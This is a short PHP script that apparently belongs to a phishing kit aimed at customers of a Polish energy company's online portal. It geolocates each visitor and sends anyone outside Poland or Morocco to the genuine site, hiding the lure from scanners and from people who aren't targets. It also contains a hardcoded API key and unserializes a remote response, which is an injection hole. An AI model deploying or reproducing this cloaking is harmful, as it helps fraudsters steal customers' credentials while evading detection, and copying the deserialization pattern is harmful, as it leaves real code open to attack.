<?php
    function ipp(){
        if (!empty($_SERVER['HTTP_CLIENT_IP'])){
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        }elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
        }else{
            $ip=$_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    $ip = ipp();
  $allowed_countries = [
    "PL", // Poland (Primary focus)
      "MA", 
];
    $ip_infos = file_get_contents("https://pro.ip-api.com/php/". $ip ."?key=I8h97HB1QkUVKV0&fields=status,message,country,countryCode,timezone,currency,isp,mobile,proxy,hosting,query");
    $ip_infos = unserialize($ip_infos);
    if( count($allowed_countries) > 0 ) {
        if( !in_array($ip_infos['countryCode'],$allowed_countries) ) {
            header('Location: https://ebok.gkpge.pl');

            exit();
        }
    }
?>